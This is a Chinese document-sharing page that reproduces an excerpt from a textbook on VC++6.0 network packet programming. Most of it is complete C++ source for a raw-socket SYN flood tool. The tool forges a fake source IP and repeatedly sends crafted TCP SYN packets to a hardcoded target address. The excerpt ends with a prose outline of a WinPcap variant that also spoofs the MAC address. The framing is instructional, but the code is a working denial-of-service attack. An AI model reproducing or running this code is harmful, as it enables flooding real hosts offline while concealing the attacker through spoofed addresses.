synflood攻击
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
《网络数据包捕获与应用的VC++6.0编程》
美国GeneChiu基金资助
网络数据包捕获与应用的VC++6.0编程
研究生 方松茂
/*
*程序11.
*程序名:SYNFlood_WINSOCK.CPP
*本程序通过使用Winsock2原始套接字提供函数sendto(),手动构造TCP SYN帧,对目标主机进行SYN Flood攻击
*/
#include "winsock2.h"
#include "ws2tcpip.h"
#include "string.h"
#include "stdio.h"
#include "wtypes.h"
#pragma comment(lib,"ws2_32.lib")
//#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define SEQ 0x12121212
//IPv4包头结构体
typedef struct ip_header {
unsigned char ver_ihl; //Version (4 bits) + Internet header length (4 bits)
unsigned char tos; //Type of service
unsigned short tlen; //Total length
unsigned short identification; //Identification
unsigned short flags_fo; //Flags (3 bits) + Fragment offset (13 bits)
unsigned char ttl; //Time to live
unsigned char proto; //Protocol
unsigned short crc; //Header checksum
unsigned long ip_src; //Source address
unsigned long ip_dst; //Destination address
}IPHEADER,*PIPHEADER;
//TCP包头结构体
typedef struct tcp_header {
WORD SourPort; //源端口号
WORD DestPort; //目的端口号
DWORD SeqNo; //序号
DWORD AckNo; //确认序号
BYTE HLen; //首部长度(保留位)
BYTE Flag; //标识(保留位)
WORD Window; //窗口大小
WORD ChkSum; //校验和
WORD UrgPtr; //紧急指针
}TCPHEADER,*PTCPHEADER;
//定义TCP伪首部 注意:TCP与UDP有相同的伪头部结构
typedef struct _psdhdr{
unsigned int saddr; //源地址
unsigned int daddr; //目的地址
CHAR mbz;
CHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSDHEADER,*PPSDHEADER;
//全局变量
SOCKET m_Socket;
//struct addrinfo *dest;
SOCKADDR_IN dest;
int destport=5000;
int srcport=10000;
u_char tmpBuf[52];
int optval=1;
int number;
void InitWinsock2(); //初始化Winsock2
void CreateWinsock(); //创建套接字并设定IP数据报格式
void InitPackageHeader();//初始化各层包头
USHORT checksum(USHORT *buffer, int size); //计算校验和
void SendPackage();
int main(int argc, char* argv[]){
//void main() {
printf("Please enter the number of send packet:\n");
scanf("%d",&number);
InitWinsock2();
CreateWinsock();
InitPackageHeader();
SendPackage();
closesocket(m_Socket);
WSACleanup();
return 0;
}
//初始化Winsock2
void InitWinsock2() {
WSADATA wsaData;
WORD version;
int ret;
version=MAKEWORD(2,2);
ret=WSAStartup(version,&wsaData);
if(ret!=0) {
printf("Failed to load winsock2 library.\n");
return;
}
}
void CreateWinsock() {
//创建TCP套接字
m_Socket=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(m_Socke
t<0) {
printf("Socket Error\n");
return;
}
//设置头包含选项
int re=setsockopt(m_Socket,IPPROTO_IP,IP_HDRINCL,(char*)&optval,sizeof(optval));
if(re==SOCKET_ERROR) {
printf("ERROR!\n");
return;
}
}
void InitPackageHeader() {
IPHEADER ip_header;
TCPHEADER tcp_header;
PSDHEADER psd_header;
int ipsz,tcpsz,psdsz,itsz,ptsz;
ipsz=sizeof(IPHEADER);
tcpsz=sizeof(TCPHEADER);
psdsz=sizeof(PSDHEADER);
ptsz=psdsz+tcpsz;
itsz=ipsz+tcpsz;
//初始化IP头部
ip_header.ver_ihl=(4<<4|sizeof(ip_header)/sizeof(ULONG));
ip_header.tlen=htons(sizeof(ip_header)+sizeof(TCPHEADER));
ip_header.identification=1;
ip_header.flags_fo=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.crc=0;
ip_header.ip_src=inet_addr("1.1.1.1");
ip_header.ip_dst=inet_addr("210.40.7.143");
//初始化TCP头部
tcp_header.SourPort=htons(srcport);
tcp_header.DestPort=htons(destport);
tcp_header.SeqNo=htonl(SEQ);
tcp_header.AckNo=0;
tcp_header.HLen=(sizeof(TCPHEADER)/4<<4|0);
tcp_header.Flag=2;
tcp_header.UrgPtr=0;
tcp_header.ChkSum=0;
tcp_header.Window=htons(16384);
//初始化TCP伪头部
psd_header.saddr=ip_header.ip_src;
psd_header.daddr=ip_header.ip_dst;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(TCPHEADER));
// tmpBuf=(u_char*)malloc(40*sizeof(u_char));
memcpy(tmpBuf,&psd_header,psdsz);
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz);
tcp_header.ChkSum=checksum((USHORT*)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz);
ip_header.crc=checksum((USHORT*)tmpBuf,ipsz);
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);
}
//计算校验和
inline USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void SendPackage() {
int count=0,re;
dest.sin_family=AF_INET;
dest.sin_port=htons(destport);
dest.sin_addr.s_addr=inet_addr("210.40.7.143");
while(count<=number) {
re=sendto(m_Socket,(char*)tmpBuf,52,0,(SOCKADDR*)&dest,sizeof(dest));
if(re==SOCKET_ERROR) {
break;
}
count++;
}
}
程序名:SYNFlood_WinPcap.CPP
功能强大的WinPcap函数库不但能够捕获网络中的数据,还能利用它提供的函数,发
送自己构造数据链路层的数据报。因此,在本程序中,我们自己构造了一个SYN帧TCP数
据报,并将其封装到我们自己构造的IP报头和以太帧头中,其中IP报头中的源IP地址(程
序中设为1.1.1.1)和以太帧头中的源MAC地址(程序中设为
0x00,0x00,0x00,0x00,0x00,0x00)都是伪造的不存在的地址。将大量请求联接的数据报源源
不断地发送到目标主机,而对方无法把回应数据报传
回源主机,这样就实现了对主机进行
SYN洪水攻击了。程序中的关键在于,封装在数据报中的校验和必须正确,否则目标主机
不会做任何反映。因此,程序中实现了一个计算校验和的函数,用于计算IP报头和TCP报
头中的校验和字段。校验和函数代码如下:
inline USHORT checksum(USHORT *buffer, int size) {
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
在计算IP校验和时,buffer中存放的是IP报头数据,而在计算TCP校验和时,buffer
中存放的是TCP伪头部和TCP头部数据。
将构造好的数据报通过函数pcap_sendqueue_queue(pcap_send_queue *squeue,struct
pcap_pkthdr *pktheader,u_char *pktdata)放到发送队列中,再利用函数
pcap_sendqueue_transmit(pcap_t *outdesc, pcap_send_queue *squeue,int sync)向目标主机发送。
即可实现SYN Flood攻击。